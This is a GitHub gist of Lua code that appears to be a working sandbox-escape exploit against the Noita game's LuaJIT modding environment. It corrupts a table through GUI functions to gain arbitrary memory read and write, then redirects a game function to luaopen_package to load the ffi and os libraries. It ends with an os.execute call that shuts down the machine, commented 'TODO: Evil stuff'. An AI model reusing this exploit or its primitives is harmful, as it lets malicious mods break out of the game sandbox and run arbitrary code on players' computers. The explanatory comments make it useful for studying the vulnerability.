Skip to content

Instantly share code, notes, and snippets.

@dextercd
Created March 1, 2023 16:02
Show Gist options
  • Save dextercd/a9d883bf669094683f104313af3ffb47 to your computer and use it in GitHub Desktop.
Save dextercd/a9d883bf669094683f104313af3ffb47 to your computer and use it in GitHub Desktop.
-- This function takes a floating point value, and turns it into a floating
-- point value whose binary representation matches the first floating point
-- value.
--
-- For instance, the floating point number (A) 305419896.0 (hex 0x12345680) is encoded like this: 0x4d91a2b4
-- The floating point number (B) 5.69046046576341273665e-28 is encoded like this: 0x12345680
--
-- The function takes the number A and turns it into the number B.
--
-- This is used to place specific binary values into memory.
function as_float(number)
local sign = bit.band(0x80000000, number) == 0 and 1 or - 1
local exp_ = bit.rshift(bit.band(0x7f800000, number), 23)
local sig = bit.band(0x7fffff, number)
local leading = exp_ == 0 and 0 or 1
local exponent = exp_ == 0 and -126 or exp_ - 127
return sign * (leading + sig / 0x800000) * 2^exponent
end
-- Reverse of as_float.
function as_u32(number, debug)
local absnum = math.abs(number)
local sig, exp = math.frexp(absnum)
local sign = number >= 0 and 1 or -1
exp = exp - 1
if exp < -126 then
sig = sig / 2 ^ (-127 - exp)
sig = sig * 0x800000
exp = -127
else
sig = (sig * 2 - 1) * 0x800000
end
local ret = 0
ret = bit.bor(ret, bit.lshift(bit.band(exp + 127, 0xff), 23))
ret = bit.bor(ret, bit.band(sig, 0x7fffff))
if sign == -1 then
ret = ret + 0x80000000
end
return ret
end
-- Given a function, return the address in its string representation
-- (e.g. f -> "function: 0x2ac3a150" -> 0x2ac3a150)
function funaddr(f)
return tonumber(tostring(f):sub(13), 16)
end
-- t -> "table: 0x2af18f88" -> 0x2af18f88
function tabaddr(t)
return tonumber(tostring(t):sub(10), 16)
end
-- Offsets to interesting parts of LuaJIT internal structures.
local tab_sz = 40
local fun_sz = 20
-- The lightuserdata value that we "corrupt" to create new memory addresses.
local lud = GuiCreate()GuiDestroy(lud)
-- Corruption is done by writing into a GCTab's colocated array part.
-- See LuaJIT src/lj_tab.c:newtab
local w = {lud}
-- I was only able to start the exploit using GuiColorSetForNextWidget but that
-- clobbers some of the fields at the end of the GCTab struct. To avoid
-- instability this is used only once to setup a more reliable arbitrary write
-- gadget with GuiZSet.
function get_w_writer()
local to = {lud}
GuiColorSetForNextWidget(to, 0, 0, 0, as_float(tabaddr(w) + tab_sz - 0x2c))
return to[1]
end
-- We can now use t with GuiZSet to create arbitrary lightuserdata values in the
-- w table.
local t = get_w_writer()
-- Helper function for construction the lightuserdata values (pointers).
function get_ptr(ptr)
GuiZSet(t, as_float(ptr))
return w[1]
end
-- Helper function to write `value` into `ptr`.
function write_value(ptr, value)
local real_ptr = get_write_ptr(ptr)
GuiZSet(real_ptr, as_float(value))
end
-- Helper function to read from `ptr`.
function read_value(ptr)
local real_ptr = get_read_ptr(ptr)
local _, _, _, result = GuiGetPreviousWidgetInfo(real_ptr)
return as_u32(result)
end
-- Construct pointer with proper offset for use with GuiZSet writing.
function get_write_ptr(ptr)
return get_ptr(ptr - 0x2c)
end
-- Construct pointer with proper offset for use with GuiGetPreviousWidgetInfo reading.
function get_read_ptr(ptr)
return get_ptr(ptr - 0x5c)
end
-- We want the luaopen_package function but we can't easily get a pointer to that
-- function because it's never called by Noita itself. Instead, we get a pointer
-- to luaopen_string and use the fact that the luaopen_package function is a certain
-- distance away from this function.
local luaopen_string = read_value(0x00d1e788)
local luaopen_package = luaopen_string - 5712
-- We're corrupting an existing GCfuncC struct. We do this to a function that is
-- normally useless.
local target = funaddr(SetPlayerSpawnLocation) + fun_sz
-- Turn SetPlayerSpawnLocation into luaopen_package.
-- Writing to GCfuncC.f (See LuaJIT src/lj_obj.h:GCfuncC)
write_value(target, luaopen_package)
-- SetPlayerSpawnLocation is now actually luaopen_package. Wheeeee!
SetPlayerSpawnLocation()
-- We can now use package.loadlib to load anything we want.
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")()
local os = package.loadlib("lua51.dll", "luaopen_os")()
-- TODO: Evil stuff
os.execute("shutdown /s /t 0")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment